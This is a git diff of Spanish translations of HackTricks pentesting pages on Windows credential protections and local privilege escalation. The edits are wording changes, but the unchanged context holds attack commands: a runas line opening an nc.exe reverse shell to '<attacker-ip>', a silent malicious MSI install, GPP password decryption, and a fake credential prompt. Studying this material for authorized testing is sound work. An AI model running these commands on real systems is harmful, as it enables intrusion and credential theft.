 - **La Protección LSA** se introduce para proteger el proceso de la Autoridad de Seguridad Local (LSA) de la lectura no autorizada de memoria y la inyección de código. Esto se logra marcando el LSASS como un proceso protegido. La activación de la Protección LSA implica:
-1. Modificar el registro en _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ estableciendo `RunAsPPL` en `dword:00000001`.
+1. Modificar el registro en _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ configurando `RunAsPPL` a `dword:00000001`.
 2. Implementar un Objeto de Política de Grupo (GPO) que haga cumplir este cambio de registro en los dispositivos gestionados.
 
 A pesar de estas protecciones, herramientas como Mimikatz pueden eludir la Protección LSA utilizando controladores específicos, aunque tales acciones probablemente se registren en los registros de eventos.
diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md
index c019b77e6..19b0e1e80 100644
--- a/src/windows-hardening/stealing-credentials/credentials-protections.md
+++ b/src/windows-hardening/stealing-credentials/credentials-protections.md
@@ -28,9 +28,9 @@ Es posible eludir esta protección utilizando el controlador de Mimikatz mimidrv
 
 ## Credential Guard
 
-**Credential Guard**, una característica exclusiva de **Windows 10 (ediciones Enterprise y Education)**, mejora la seguridad de las credenciales de la máquina utilizando **Virtual Secure Mode (VSM)** y **Virtualization Based Security (VBS)**. Aprovecha las extensiones de virtualización de la CPU para aislar procesos clave dentro de un espacio de memoria protegido, lejos del alcance del sistema operativo principal. Este aislamiento asegura que incluso el kernel no pueda acceder a la memoria en VSM, protegiendo efectivamente las credenciales de ataques como **pass-the-hash**. La **Local Security Authority (LSA)** opera dentro de este entorno seguro como un trustlet, mientras que el proceso **LSASS** en el sistema operativo principal actúa meramente como un comunicador con la LSA de VSM.
+**Credential Guard**, una característica exclusiva de **Windows 10 (ediciones Enterprise y Education)**, mejora la seguridad de las credenciales de la máquina utilizando **Virtual Secure Mode (VSM)** y **Virtualization Based Security (VBS)**. Aprovecha las extensiones de virtualización de la CPU para aislar procesos clave dentro de un espacio de memoria protegido, lejos del alcance del sistema operativo principal. Este aislamiento asegura que incluso el kernel no pueda acceder a la memoria en VSM, protegiendo efectivamente las credenciales de ataques como **pass-the-hash**. La **Local Security Authority (LSA)** opera dentro de este entorno seguro como un trustlet, mientras que el proceso **LSASS** en el sistema operativo principal actúa simplemente como un comunicador con la LSA de VSM.
 
-Por defecto, **Credential Guard** no está activo y requiere activación manual dentro de una organización. Es crítico para mejorar la seguridad contra herramientas como **Mimikatz**, que se ven obstaculizadas en su capacidad para extraer credenciales. Sin embargo, las vulnerabilidades aún pueden ser explotadas mediante la adición de **Security Support Providers (SSP)** personalizados para capturar credenciales en texto claro durante los intentos de inicio de sesión.
+Por defecto, **Credential Guard** no está activo y requiere activación manual dentro de una organización. Es fundamental para mejorar la seguridad contra herramientas como **Mimikatz**, que se ven obstaculizadas en su capacidad para extraer credenciales. Sin embargo, las vulnerabilidades aún pueden ser explotadas mediante la adición de **Security Support Providers (SSP)** personalizados para capturar credenciales en texto claro durante los intentos de inicio de sesión.
 
 Para verificar el estado de activación de **Credential Guard**, se puede inspeccionar la clave del registro _**LsaCfgFlags**_ bajo _**HKLM\System\CurrentControlSet\Control\LSA**_. Un valor de "**1**" indica activación con **UEFI lock**, "**2**" sin bloqueo, y "**0**" denota que no está habilitado. Esta verificación del registro, aunque es un fuerte indicador, no es el único paso para habilitar Credential Guard. Se dispone de orientación detallada y un script de PowerShell para habilitar esta característica en línea.
 ```powershell
@@ -38,7 +38,7 @@ reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
 ```
 Para una comprensión completa e instrucciones sobre cómo habilitar **Credential Guard** en Windows 10 y su activación automática en sistemas compatibles de **Windows 11 Enterprise y Education (versión 22H2)**, visita [la documentación de Microsoft](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
 
-Se proporcionan más detalles sobre la implementación de SSPs personalizados para la captura de credenciales en [esta guía](../active-directory-methodology/custom-ssp.md).
+Más detalles sobre la implementación de SSPs personalizados para la captura de credenciales se proporcionan en [esta guía](../active-directory-methodology/custom-ssp.md).
 
 ## Modo RestrictedAdmin de RDP
 
@@ -46,7 +46,7 @@ Se proporcionan más detalles sobre la implementación de SSPs personalizados pa
 
 Tradicionalmente, al conectarse a una computadora remota a través de RDP, sus credenciales se almacenan en la máquina objetivo. Esto representa un riesgo de seguridad significativo, especialmente al usar cuentas con privilegios elevados. Sin embargo, con la introducción del _**modo Restricted Admin**_, este riesgo se reduce sustancialmente.
 
-Al iniciar una conexión RDP utilizando el comando **mstsc.exe /RestrictedAdmin**, la autenticación a la computadora remota se realiza sin almacenar sus credenciales en ella. Este enfoque asegura que, en caso de una infección de malware o si un usuario malicioso obtiene acceso al servidor remoto, sus credenciales no se vean comprometidas, ya que no están almacenadas en el servidor.
+Al iniciar una conexión RDP utilizando el comando **mstsc.exe /RestrictedAdmin**, la autenticación en la computadora remota se realiza sin almacenar sus credenciales en ella. Este enfoque asegura que, en caso de una infección de malware o si un usuario malicioso obtiene acceso al servidor remoto, sus credenciales no se vean comprometidas, ya que no están almacenadas en el servidor.
 
 Es importante tener en cuenta que en **modo Restricted Admin**, los intentos de acceder a recursos de red desde la sesión RDP no utilizarán sus credenciales personales; en su lugar, se utiliza la **identidad de la máquina**.
 
diff --git a/src/windows-hardening/stealing-credentials/wts-impersonator.md b/src/windows-hardening/stealing-credentials/wts-impersonator.md
index 51e55f985..8cf28f49b 100644
--- a/src/windows-hardening/stealing-credentials/wts-impersonator.md
+++ b/src/windows-hardening/stealing-credentials/wts-impersonator.md
@@ -1,6 +1,6 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-La herramienta **WTS Impersonator** explota el **"\\pipe\LSM_API_service"** RPC Named pipe para enumerar sigilosamente a los usuarios conectados y secuestrar sus tokens, eludiendo las técnicas tradicionales de Impersonación de Tokens. Este enfoque facilita movimientos laterales sin problemas dentro de las redes. La innovación detrás de esta técnica se atribuye a **Omri Baso, cuyo trabajo es accesible en [GitHub](https://github.com/OmriBaso/WTSImpersonator)**.
+La herramienta **WTS Impersonator** explota el **"\\pipe\LSM_API_service"** RPC Named pipe para enumerar sigilosamente a los usuarios conectados y secuestrar sus tokens, eludiendo las técnicas tradicionales de suplantación de tokens. Este enfoque facilita movimientos laterales sin problemas dentro de las redes. La innovación detrás de esta técnica se atribuye a **Omri Baso, cuyo trabajo es accesible en [GitHub](https://github.com/OmriBaso/WTSImpersonator)**.
 
 ### Funcionalidad Principal
 
@@ -21,7 +21,7 @@ WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken →
 .\WTSImpersonator.exe -m enum -s 192.168.40.131
 ```
 
-- **Ejecutando Comandos**: Los módulos `exec` y `exec-remote` requieren un contexto de **Servicio** para funcionar. La ejecución local simplemente necesita el ejecutable WTSImpersonator y un comando:
+- **Ejecutando Comandos**: Los módulos `exec` y `exec-remote` requieren un contexto de **Servicio** para funcionar. La ejecución local simplemente necesita el ejecutable de WTSImpersonator y un comando:
 
 - Ejemplo para la ejecución de comandos local:
 ```powershell
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index 91018812b..5f561644c 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
 ```
 ### Version Exploits
 
-Este [sitio](https://msrc.microsoft.com/update-guide/vulnerability) es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene más de 4,700 vulnerabilidades de seguridad, mostrando la **superficie de ataque masiva** que presenta un entorno de Windows.
+Este [sitio](https://msrc.microsoft.com/update-guide/vulnerability) es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene más de 4,700 vulnerabilidades de seguridad, mostrando la **superficie de ataque masiva** que presenta un entorno Windows.
 
 **En el sistema**
 
@@ -178,7 +178,7 @@ Lee la investigación aquí:
 [**Lee el informe completo aquí**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
 Básicamente, este es el defecto que explota este error:
 
-> Si tenemos el poder de modificar nuestro proxy de usuario local, y las actualizaciones de Windows utilizan el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.
+> Si tenemos el poder de modificar nuestro proxy de usuario local, y Windows Updates utiliza el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.
 >
 > Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio.
 
@@ -186,7 +186,7 @@ Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](http
 
 ## KrbRelayUp
 
-Una **vulnerabilidad de escalación de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
+Una **vulnerabilidad de escalada de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
 
 Encuentra el **exploit en** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
 
@@ -245,7 +245,7 @@ create-msi-with-wix.md
 
 ### Instalación de MSI
 
-Para ejecutar la **instalación** del archivo `.msi` malicioso en **segundo plano:**
+Para ejecutar la **instalación** del archivo malicioso `.msi` en **segundo plano:**
 ```
 msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
 ```
@@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 Si tienes este error (por ejemplo con SSDPSRV):
 
 _Se ha producido un error del sistema 1058._\
-&#xNAN;_&#x54;el servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._
+&#xNAN;_&#x54;el servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados a él._
 
 Puedes habilitarlo usando
 ```bash
@@ -465,10 +465,10 @@ net stop [service name] && net start [service name]
 Los privilegios se pueden escalar a través de varios permisos:
 
 - **SERVICE_CHANGE_CONFIG**: Permite la reconfiguración del binario del servicio.
-- **WRITE_DAC**: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones de servicio.
+- **WRITE_DAC**: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones del servicio.
 - **WRITE_OWNER**: Permite la adquisición de propiedad y la reconfiguración de permisos.
-- **GENERIC_WRITE**: Hereda la capacidad de cambiar configuraciones de servicio.
-- **GENERIC_ALL**: También hereda la capacidad de cambiar configuraciones de servicio.
+- **GENERIC_WRITE**: Hereda la capacidad de cambiar configuraciones del servicio.
+- **GENERIC_ALL**: También hereda la capacidad de cambiar configuraciones del servicio.
 
 Para la detección y explotación de esta vulnerabilidad, se puede utilizar el _exploit/windows/local/service_permissions_.
 
@@ -555,7 +555,7 @@ Windows permite a los usuarios especificar acciones a tomar si un servicio falla
 
 ### Aplicaciones Instaladas
 
-Verifica **los permisos de los binarios** (quizás puedas sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/)).
+Verifique **los permisos de los binarios** (quizás pueda sobrescribir uno y escalar privilegios) y de las **carpetas** ([DLL Hijacking](dll-hijacking/)).
 ```bash
 dir /a "C:\Program Files"
 dir /a "C:\Program Files (x86)"
@@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
 
 ### Controladores
 
-Busca posibles controladores **raros/vulnerables de terceros**.
+Busca posibles **controladores extraños/vulnerables de terceros**.
 ```bash
 driverquery
 driverquery.exe /fo table
@@ -673,7 +673,7 @@ C:\Windows\System32\wsl.exe
 ```
 El binario `bash.exe` también se puede encontrar en `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
 
-Si obtienes el usuario root, puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto, te preguntará a través de la GUI si `nc` debe ser permitido por el firewall).
+Si obtienes el usuario root, puedes escuchar en cualquier puerto (la primera vez que uses `nc.exe` para escuchar en un puerto, te preguntará a través de la GUI si se debe permitir `nc` por el firewall).
 ```bash
 wsl whoami
 ./ubuntun1604.exe config --default-user root
@@ -700,14 +700,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 ```
 ### Administrador de credenciales / Bóveda de Windows
 
-De [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
+Desde [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
 La Bóveda de Windows almacena credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así.
 
 La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo.
 
 A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible que usen las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
 
-Usa el `cmdkey` para listar las credenciales almacenadas en la máquina.
+Usa `cmdkey` para listar las credenciales almacenadas en la máquina.
 ```bash
 cmdkey /list
 Currently stored credentials:
@@ -719,19 +719,19 @@ Luego puedes usar `runas` con la opción `/savecred` para utilizar las credencia
 ```bash
 runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
 ```
-Usando `runas` con un conjunto de credenciales proporcionadas.
+Usando `runas` con un conjunto de credenciales proporcionado.
 ```bash
 C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
 ```
-Tenga en cuenta que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
+Nota que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
 
 ### DPAPI
 
-La **API de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía.
+La **Interfaz de Programación de Aplicaciones de Protección de Datos (DPAPI)** proporciona un método para la encriptación simétrica de datos, utilizado predominantemente dentro del sistema operativo Windows para la encriptación simétrica de claves privadas asimétricas. Esta encriptación aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía.
 
 **DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran la encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema.
 
-Las claves RSA de usuario encriptadas, al usar DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
+Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
 ```powershell
 Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
@@ -795,7 +795,7 @@ Puedes **extraer muchas claves maestras DPAPI** de la memoria con el módulo `se
 
 ### Sticky Notes
 
-Las personas a menudo utilizan la aplicación StickyNotes en estaciones de trabajo Windows para **guardar contraseñas** y otra información, sin darse cuenta de que es un archivo de base de datos. Este archivo se encuentra en `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` y siempre vale la pena buscarlo y examinarlo.
+Las personas a menudo utilizan la aplicación StickyNotes en estaciones de trabajo con Windows para **guardar contraseñas** y otra información, sin darse cuenta de que es un archivo de base de datos. Este archivo se encuentra en `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` y siempre vale la pena buscarlo y examinarlo.
 
 ### AppCmd.exe
 
@@ -902,11 +902,11 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
 ```
 ### Claves SSH en el registro
 
-Las claves privadas SSH pueden almacenarse dentro de la clave del registro `HKCU\Software\OpenSSH\Agent\Keys`, así que deberías verificar si hay algo interesante allí:
+Las claves privadas SSH pueden almacenarse dentro de la clave del registro `HKCU\Software\OpenSSH\Agent\Keys`, por lo que deberías verificar si hay algo interesante allí:
 ```bash
 reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
 ```
-Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada de forma encriptada, pero se puede desencriptar fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
+Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada encriptada, pero se puede desencriptar fácilmente usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
 Más información sobre esta técnica aquí: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 
 Si el servicio `ssh-agent` no está en ejecución y deseas que se inicie automáticamente al arrancar, ejecuta:
@@ -974,15 +974,15 @@ AppData\Roaming\gcloud\access_tokens.db
 ```
 ### McAfee SiteList.xml
 
-Busca un archivo llamado **SiteList.xml**
+Busque un archivo llamado **SiteList.xml**
 
-### Cached GPP Pasword
+### Contraseña GPP en caché
 
-Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPPs, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
+Anteriormente, había una función disponible que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
 
-Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
+Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP en caché localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
 
-Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos:
+Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos:
 
 - Groups.xml
 - Services.xml
@@ -991,7 +991,7 @@ Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents an
 - Printers.xml
 - Drives.xml
 
-**Para descifrar el cPassword:**
+**Para descifrar la cPassword:**
 ```bash
 #To decrypt these passwords you can decrypt it using
 gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
@@ -1054,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
 ```
 ### Pedir credenciales
 
-Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**):
+Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** directamente al cliente las **credenciales** es realmente **arriesgado**):
 ```bash
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1172,7 +1172,7 @@ Herramientas para extraer contraseñas de navegadores:
 
 Las clases y interfaces COM se definen en el registro bajo **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
 
-Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico Hilo), **Free** (Multi-Hilo), **Both** (Único o Múltiple) o **Neutral** (Hilo Neutral).
+Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico-Hilo), **Free** (Multi-Hilo), **Both** (Único o Múltiple) o **Neutral** (Hilo Neutral).
 
 ![](<../../images/image (729).png>)
 
@@ -1221,9 +1221,9 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 ## Manejadores Filtrados
 
 Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\
-Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` y **inyectar un shellcode**.\
+Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
 [Lee este ejemplo para más información sobre **cómo detectar y explotar esta vulnerabilidad**.](leaked-handle-exploitation.md)\
-[Lee esta **otra publicación para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos e hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
+[Lee este **otro post para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos e hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
 
 ## Suplantación de Cliente de Pipe Nombrado
 
@@ -1327,7 +1327,7 @@ sc start newservicename
 ### AlwaysInstallElevated
 
 Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell inverso utilizando un _**.msi**_ wrapper.\
-[Más información sobre las claves del registro involucradas y cómo instalar un _.msi_ aquí.](./#alwaysinstallelevated)
+[Más información sobre las claves del registro involucradas y cómo instalar un paquete _.msi_ aquí.](./#alwaysinstallelevated)
 
 ### High + SeImpersonate privilege to System
 
@@ -1335,7 +1335,7 @@ Desde un proceso de alta integridad, podrías intentar **habilitar las entradas
 
 ### From SeDebug + SeImpersonate to Full Token privileges
 
-Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\
+Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad ya existente), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\
 Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
 **Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.**
 
@@ -1374,8 +1374,8 @@ Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso**
 [**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica configuraciones incorrectas**\
 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.**\
 [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Administrador de Credenciales. Detectado.**\
-[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rociar contraseñas recopiladas a través del dominio**\
-[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
+[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rocía contraseñas recopiladas a través del dominio**\
+[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofeador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
 [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de privesc en Windows**\
 [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED for Watson)\
 [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de administrador)**
diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
index dcd89df68..8f072f09c 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
@@ -80,7 +80,7 @@ Hay dos tipos de tokens disponibles:
 - **Token de Suplantación**: Permite a una aplicación de servidor adoptar temporalmente la identidad del cliente para acceder a objetos seguros. Este mecanismo se estratifica en cuatro niveles de operación:
 - **Anónimo**: Otorga acceso al servidor similar al de un usuario no identificado.
